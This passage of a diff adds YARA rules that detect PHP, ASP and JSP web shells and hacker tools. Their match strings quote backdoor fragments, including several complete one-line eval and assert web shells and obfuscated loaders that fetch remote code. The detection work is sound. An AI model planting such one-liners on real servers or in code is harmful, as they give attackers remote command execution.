+		hash3 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash4 = "3f71175985848ee46cc13282fbed2269"
+	strings:
+		$s6 = "$res   = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $d"
+		$s7 = "$sql1 .= $row[1].\"\\r\\n\\r\\n\";" fullword
+		$s8 = "if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }" fullword
+		$s9 = "foreach($values as $k=>$v) {$values[$k] = addslashes($v);}" fullword
+	condition:
+		2 of them
+}
+rule webshell_NIX_REMOTE_WEB_SHELL_nstview_xxx {
+	meta:
+		description = "Web Shell - from files NIX REMOTE WEB-SHELL.php, nstview.php, NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php, Cyber Shell (v 1.0).php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "4745d510fed4378e4b1730f56f25e569"
+		hash2 = "f3ca29b7999643507081caab926e2e74"
+		hash3 = "46a18979750fa458a04343cf58faa9bd"
+	strings:
+		$s3 = "BODY, TD, TR {" fullword
+		$s5 = "$d=str_replace(\"\\\\\",\"/\",$d);" fullword
+		$s6 = "if ($file==\".\" || $file==\"..\") continue;" fullword
+	condition:
+		2 of them
+}
+rule webshell_000_403_807_a_c5_config_css_dm_he1p_xxx {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, 807.jsp, a.jsp, c5.jsp, config.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, myxx.jsp, nogfw.jsp, ok.jsp, queryDong.jsp, spyjsp2010.jsp, style.jsp, u.jsp, xia.jsp, zend.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "6acc82544be056580c3a1caaa4999956"
+		hash23 = "6aa32a6392840e161a018f3907a86968"
+		hash24 = "591ca89a25f06cf01e4345f98a22845c"
+		hash25 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash26 = "3ea688e3439a1f56b16694667938316d"
+		hash27 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash28 = "71097537a91fac6b01f46f66ee2d7749"
+		hash29 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash30 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s3 = "String savePath = request.getParameter(\"savepath\");" fullword
+		$s4 = "URL downUrl = new URL(downFileUrl);" fullword
+		$s5 = "if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))" fullword
+		$s6 = "String downFileUrl = request.getParameter(\"url\");" fullword
+		$s7 = "FileInputStream fInput = new FileInputStream(f);" fullword
+		$s8 = "URLConnection conn = downUrl.openConnection();" fullword
+		$s9 = "sis = request.getInputStream();" fullword
+	condition:
+		4 of them
+}
+rule webshell_2_520_icesword_job_ma1 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+	strings:
+		$s1 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head>" fullword
+		$s3 = "<input type=\"hidden\" name=\"_EVENTTARGET\" value=\"\" />" fullword
+		$s8 = "<input type=\"hidden\" name=\"_EVENTARGUMENT\" value=\"\" />" fullword
+	condition:
+		2 of them
+}
+rule webshell_404_data_in_JFolder_jfolder01_jsp_suiyue_warn {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, suiyue.jsp, warn.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash7 = "e9a5280f77537e23da2545306f6a19ad"
+	strings:
+		$s0 = "<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercol"
+		$s2 = " KB </td>" fullword
+		$s3 = "<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\""
+		$s4 = "<!-- <tr align=\"center\"> " fullword
+	condition:
+		all of them
+}
+
+rule webshell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_PHPSPY {
+	meta:
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "40a1f840111996ff7200d18968e42cfe"
+		hash3 = "0712e3dc262b4e1f98ed25760b206836"
+	strings:
+		$s4 = "http://www.4ngel.net" fullword
+		$s5 = "</a> | <a href=\"?action=phpenv\">PHP" fullword
+		$s8 = "echo $msg=@fwrite($fp,$_POST['filecontent']) ? \"" fullword
+		$s9 = "Codz by Angel" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_locus7s_c99_w4cking_xxx {
+	meta:
+		description = "Web Shell - from files c99_locus7s.php, c99_w4cking.php, r57shell.php, r57shell127.php, SnIpEr_SA Shell.php, EgY_SpIdEr ShElL V2.php, r57_iFX.php, r57_kartal.php, r57_Mohajer22.php, r57.php, acid.php, newsh.php, r57.php, Backdoor.PHP.Agent.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		hash1 = "9c34adbc8fd8d908cbb341734830f971"
+		hash2 = "ef43fef943e9df90ddb6257950b3538f"
+		hash3 = "ae025c886fbe7f9ed159f49593674832"
+		hash4 = "911195a9b7c010f61b66439d9048f400"
+		hash5 = "697dae78c040150daff7db751fc0c03c"
+		hash6 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash7 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash8 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash9 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash10 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash11 = "0d2c2c151ed839e6bafc7aa9c69be715"
+		hash12 = "41af6fd253648885c7ad2ed524e0692d"
+		hash13 = "6fcc283470465eed4870bcc3e2d7f14d"
+	strings:
+		$s1 = "$res = @shell_exec($cfe);" fullword
+		$s8 = "$res = @ob_get_contents();" fullword
+		$s9 = "@exec($cfe,$res);" fullword
+	condition:
+		2 of them
+}
+rule webshell_browser_201_3_ma_ma2_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, ma2.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "4b45715fa3fa5473640e17f49ef5513d"
+		hash5 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s1 = "private static final int EDITFIELD_ROWS = 30;" fullword
+		$s2 = "private static String tempdir = \".\";" fullword
+		$s6 = "<input type=\"hidden\" name=\"dir\" value=\"<%=request.getAttribute(\"dir\")%>\""
+	condition:
+		2 of them
+}
+rule webshell_000_403_c5_queryDong_spyjsp2010 {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+	strings:
+		$s2 = "\" <select name='encode' class='input'><option value=''>ANSI</option><option val"
+		$s7 = "JSession.setAttribute(\"MSG\",\"<span style='color:red'>Upload File Failed!</spa"
+		$s8 = "File f = new File(JSession.getAttribute(CURRENT_DIR)+\"/\"+fileBean.getFileName("
+		$s9 = "((Invoker)ins.get(\"vd\")).invoke(request,response,JSession);" fullword
+	condition:
+		2 of them
+}
+rule webshell_r57shell127_r57_kartal_r57 {
+	meta:
+		description = "Web Shell - from files r57shell127.php, r57_kartal.php, r57.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash2 = "4108f28a9792b50d95f95b9e5314fa1e"
+	strings:
+		$s2 = "$handle = @opendir($dir) or die(\"Can't open directory $dir\");" fullword
+		$s3 = "if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }" fullword
+		$s5 = "if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_"
+	condition:
+		2 of them
+}
+
+rule webshell_webshells_new_con2 {
+	meta:
+		description = "Web shells - generated from file con2.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "d3584159ab299d546bd77c9654932ae3"
+	strings:
+		$s7 = ",htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => e"
+		$s10 = "j \"<Form action='\"&URL&\"?Action2=Post' method='post' name='EditForm'><input n"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_make2 {
+	meta:
+		description = "Web shells - generated from file make2.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		hash = "9af195491101e0816a263c106e4c145e"
+		score = 50
+	strings:
+		$s1 = "error_reporting(0);session_start();header(\"Content-type:text/html;charset=utf-8"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_aaa {
+	meta:
+		description = "Web shells - generated from file aaa.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "68483788ab171a155db5266310c852b2"
+	strings:
+		$s0 = "Function fvm(jwv):If jwv=\"\"Then:fvm=jwv:Exit Function:End If:Dim tt,sru:tt=\""
+		$s5 = "<option value=\"\"DROP TABLE [jnc];exec mast\"&kvp&\"er..xp_regwrite 'HKEY_LOCAL"
+		$s17 = "if qpv=\"\" then qpv=\"x:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini\"&br&"
+	condition:
+		1 of them
+}
+rule webshell_Expdoor_com_ASP {
+	meta:
+		description = "Web shells - generated from file Expdoor.com ASP.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "caef01bb8906d909f24d1fa109ea18a7"
+	strings:
+		$s4 = "\">www.Expdoor.com</a>" fullword
+		$s5 = "    <input name=\"FileName\" type=\"text\" value=\"Asp_ver.Asp\" size=\"20\" max"
+		$s10 = "set file=fs.OpenTextFile(server.MapPath(FileName),8,True)  '" fullword
+		$s14 = "set fs=server.CreateObject(\"Scripting.FileSystemObject\")   '" fullword
+		$s16 = "<TITLE>Expdoor.com ASP" fullword
+	condition:
+		2 of them
+}
+rule webshell_webshells_new_php2 {
+	meta:
+		description = "Web shells - generated from file php2.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "fbf2e76e6f897f6f42b896c855069276"
+	strings:
+		$s0 = "<?php $s=@$_GET[2];if(md5($s.$s)=="
+	condition:
+		all of them
+}
+rule webshell_bypass_iisuser_p {
+	meta:
+		description = "Web shells - generated from file bypass-iisuser-p.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "924d294400a64fa888a79316fb3ccd90"
+	strings:
+		$s0 = "<%Eval(Request(chr(112))):Set fso=CreateObject"
+	condition:
+		all of them
+}
+rule webshell_sig_404super {
+	meta:
+		description = "Web shells - generated from file 404super.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "7ed63176226f83d36dce47ce82507b28"
+	strings:
+		$s4 = "$i = pack('c*', 0x70, 0x61, 99, 107);" fullword
+		$s6 = "    'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631')," fullword
+		$s7 = "//http://require.duapp.com/session.php" fullword
+		$s8 = "if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}" fullword
+		$s12 = "//define('pass','123456');" fullword
+		$s13 = "$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSIO"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_JSP {
+	meta:
+		description = "Web shells - generated from file JSP.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "495f1a0a4c82f986f4bdf51ae1898ee7"
+	strings:
+		$s1 = "void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"
+		$s5 = "bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.app"
+		$s11 = "if(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequest"
+	condition:
+		1 of them
+}
+rule webshell_webshell_123 {
+	meta:
+		description = "Web shells - generated from file webshell-123.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "2782bb170acaed3829ea9a04f0ac7218"
+	strings:
+		$s0 = "// Web Shell!!" fullword
+		$s1 = "@preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6"
+		$s3 = "$default_charset = \"UTF-8\";" fullword
+		$s4 = "// url:http://www.weigongkai.com/shell/" fullword
+	condition:
+		2 of them
+}
+rule webshell_dev_core {
+	meta:
+		description = "Web shells - generated from file dev_core.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "55ad9309b006884f660c41e53150fc2e"
+	strings:
+		$s1 = "if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {" fullword
+		$s9 = "setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);" fullword
+		$s10 = "$_SESSION['code'] = _REQUEST(sprintf(\"%s?%s\",pack(\"H*\",'6874"
+		$s11 = "if (preg_match(\"/^HTTP\\/\\d\\.\\d\\s([\\d]+)\\s.*$/\", $status, $matches))"
+		$s12 = "eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_C"
+		$s15 = "if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout))"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_pHp {
+	meta:
+		description = "Web shells - generated from file pHp.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "b0e842bdf83396c3ef8c71ff94e64167"
+	strings:
+		$s0 = "if(is_readable($path)) antivirus($path.'/',$exs,$matches);" fullword
+		$s1 = "'/(eval|assert|include|require|include\\_once|require\\_once|array\\_map|arr"
+		$s13 = "'/(exec|shell\\_exec|system|passthru)+\\s*\\(\\s*\\$\\_(\\w+)\\[(.*)\\]\\s*"
+		$s14 = "'/(include|require|include\\_once|require\\_once)+\\s*\\(\\s*[\\'|\\\"](\\w+"
+		$s19 = "'/\\$\\_(\\w+)(.*)(eval|assert|include|require|include\\_once|require\\_once"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_pppp {
+	meta:
+		description = "Web shells - generated from file pppp.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "cf01cb6e09ee594545693c5d327bdd50"
+	strings:
+		$s0 = "Mail: chinese@hackermail.com" fullword
+		$s3 = "if($_GET[\"hackers\"]==\"2b\"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "
+		$s6 = "Site: http://blog.weili.me" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_code {
+	meta:
+		description = "Web shells - generated from file code.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "a444014c134ff24c0be5a05c02b81a79"
+	strings:
+		$s1 = "<a class=\"high2\" href=\"javascript:;;;\" name=\"action=show&dir=$_ipage_fi"
+		$s7 = "$file = !empty($_POST[\"dir\"]) ? urldecode(self::convert_to_utf8(rtrim($_PO"
+		$s10 = "if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_"
+		$s14 = "Processed in <span id=\"runtime\"></span> second(s) {gzip} usage:"
+		$s17 = "<a href=\"javascript:;;;\" name=\"{return_link}\" onclick=\"fileperm"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_jspyyy {
+	meta:
+		description = "Web shells - generated from file jspyyy.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "b291bf3ccc9dac8b5c7e1739b8fa742e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*\"%><%if(request.getParameter(\"f\")"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_xxxx {
+	meta:
+		description = "Web shells - generated from file xxxx.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "5bcba70b2137375225d8eedcde2c0ebb"
+	strings:
+		$s0 = "<?php eval($_POST[1]);?>  " fullword
+	condition:
+		all of them
+}
+rule webshell_webshells_new_JJjsp3 {
+	meta:
+		description = "Web shells - generated from file JJjsp3.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "949ffee1e07a1269df7c69b9722d293e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!S"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_PHP1 {
+	meta:
+		description = "Web shells - generated from file PHP1.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "14c7281fdaf2ae004ca5fec8753ce3cb"
+	strings:
+		$s0 = "<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>" fullword
+		$s2 = ":https://forum.90sec.org/forum.php?mod=viewthread&tid=7316" fullword
+		$s3 = "@preg_replace(\"/f/e\",$_GET['u'],\"fengjiao\"); " fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_JJJsp2 {
+	meta:
+		description = "Web shells - generated from file JJJsp2.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "5a9fec45236768069c99f0bfd566d754"
+	strings:
+		$s2 = "QQ(cs, z1, z2, sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z"
+		$s8 = "sb.append(l[i].getName() + \"/\\t\" + sT + \"\\t\" + l[i].length()+ \"\\t\" + sQ"
+		$s10 = "ResultSet r = s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData()"
+		$s11 = "return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase("
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_radhat {
+	meta:
+		description = "Web shells - generated from file radhat.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "72cb5ef226834ed791144abaa0acdfd4"
+	strings:
+		$s1 = "sod=Array(\"D\",\"7\",\"S"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_asp1 {
+	meta:
+		description = "Web shells - generated from file asp1.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "b63e708cd58ae1ec85cf784060b69cad"
+	strings:
+		$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
+		$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_php6 {
+	meta:
+		description = "Web shells - generated from file php6.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "ea75280224a735f1e445d244acdfeb7b"
+	strings:
+		$s1 = "array_map(\"asx73ert\",(ar"
+		$s3 = "preg_replace(\"/[errorpage]/e\",$page,\"saft\");" fullword
+		$s4 = "shell.php?qid=zxexp  " fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_xxx {
+	meta:
+		description = "Web shells - generated from file xxx.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "0e71428fe68b39b70adb6aeedf260ca0"
+	strings:
+		$s3 = "<?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?>" fullword
+	condition:
+		all of them
+}
+rule webshell_GetPostpHp {
+	meta:
+		description = "Web shells - generated from file GetPostpHp.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "20ede5b8182d952728d594e6f2bb5c76"
+	strings:
+		$s0 = "<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>" fullword
+	condition:
+		all of them
+}
+rule webshell_webshells_new_php5 {
+	meta:
+		description = "Web shells - generated from file php5.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "cf2ab009cbd2576a806bfefb74906fdf"
+	strings:
+		$s0 = "<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_u"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_PHP {
+	meta:
+		description = "Web shells - generated from file PHP.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "a524e7ae8d71e37d2fd3e5fbdab405ea"
+	strings:
+		$s1 = "echo \"<font color=blue>Error!</font>\";" fullword
+		$s2 = "<input type=\"text\" size=61 name=\"f\" value='<?php echo $_SERVER[\"SCRIPT_FILE"
+		$s5 = " - ExpDoor.com</title>" fullword
+		$s10 = "$f=fopen($_POST[\"f\"],\"w\");" fullword
+		$s12 = "<textarea name=\"c\" cols=60 rows=15></textarea><br>" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_Asp {
+	meta:
+		description = "Web shells - generated from file Asp.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "32c87744ea404d0ea0debd55915010b7"
+	strings:
+		$s1 = "Execute MorfiCoder(\")/*/z/*/(tseuqer lave\")" fullword
+		$s2 = "Function MorfiCoder(Code)" fullword
+		$s3 = "MorfiCoder=Replace(Replace(StrReverse(Code),\"/*/\",\"\"\"\"),\"\\*\\\",vbCrlf)" fullword
+	condition:
+		1 of them
+}
+
+/* Update from hackers tool pack */
+
+rule perlbot_pl {
+	meta:
+		description = "Semi-Auto-generated  - file perlbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7e4deb9884ffffa5d82c22f8dc533a45"
+	strings:
+		$s0 = "my @adms=(\"Kelserific\",\"Puna\",\"nod32\")"
+		$s1 = "#Acesso a Shel - 1 ON 0 OFF"
+	condition:
+		1 of them
+}
+rule php_backdoor_php {
+	meta:
+		description = "Semi-Auto-generated  - file php-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+	strings:
+		$s0 = "http://michaeldaw.org   2006"
+		$s1 = "or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win"
+		$s3 = "coded by z0mbie"
+	condition:
+		1 of them
+}
+rule Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_php {
+	meta:
+		description = "Semi-Auto-generated  - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+	strings:
+		$s0 = "<option value=\"cat /var/cpanel/accounting.log\">/var/cpanel/accounting.log</opt"
+		$s1 = "Liz0ziM Private Safe Mode Command Execuriton Bypass"
+		$s2 = "echo \"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>\";" fullword
+	condition:
+		1 of them
+}
+rule Nshell__1__php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Nshell (1).php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "973fc89694097a41e684b43a21b1b099"
+	strings:
+		$s0 = "echo \"Command : <INPUT TYPE=text NAME=cmd value=\".@stripslashes(htmlentities($"
+		$s1 = "if(!$whoami)$whoami=exec(\"whoami\"); echo \"whoami :\".$whoami.\"<br>\";" fullword
+	condition:
+		1 of them
+}
+rule shankar_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file shankar.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "6eb9db6a3974e511b7951b8f7e7136bb"
+	strings:
+		$sAuthor = "ShAnKaR"
+		$s0 = "<input type=checkbox name='dd' \".(isset($_POST['dd'])?'checked':'').\">DB<input"
+		$s3 = "Show<input type=text size=5 value=\".((isset($_POST['br_st']) && isset($_POST['b"
+	condition:
+		1 of ($s*) and $sAuthor
+}
+rule Casus15_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Casus15.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5e2ede2d1c4fa1fcc3cbfe0c005d7b13"
+	strings:
+		$s0 = "copy ( $dosya_gonder2, \"$dir/$dosya_gonder2_name\") ? print(\"$dosya_gonder2_na"
+		$s2 = "echo \"<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'"
+		$s3 = "value='Calistirmak istediginiz "
+	condition:
+		1 of them
+}
+rule small_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file small.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "fcee6226d09d150bfa5f103bee61fbde"
+	strings:
+		$s1 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s2 = "eval(gzinflate(base64_decode('FJzHkqPatkU/550IGnjXxHvv6bzAe0iE5+svFVGtKqXMZq05x1"
+		$s4 = "@ini_set('error_log',NULL);" fullword
+	condition:
+		2 of them
+}
+rule shellbot_pl {
+	meta:
+		description = "Semi-Auto-generated  - file shellbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b2a883bc3c03a35cfd020dd2ace4bab8"
+	strings:
+		$s0 = "ShellBOT"
+		$s1 = "PacktsGr0up"
+		$s2 = "CoRpOrAtIoN"
+		$s3 = "# Servidor de irc que vai ser usado "
+		$s4 = "/^ctcpflood\\s+(\\d+)\\s+(\\S+)"
+	condition:
+		2 of them
+}
+rule fuckphpshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file fuckphpshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "554e50c1265bb0934fcc8247ec3b9052"
+	strings:
+		$s0 = "$succ = \"Warning! "
+		$s1 = "Don`t be stupid .. this is a priv3 server, so take extra care!"
+		$s2 = "\\*=-- MEMBERS AREA --=*/"
+		$s3 = "preg_match('/(\\n[^\\n]*){' . $cache_lines . '}$/', $_SESSION['o"
+	condition:
+		2 of them
+}
+rule ngh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ngh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c372b725419cdfd3f8a6371cfeebc2fd"
+	strings:
+		$s0 = "Cr4sh_aka_RKL"
+		$s1 = "NGH edition"
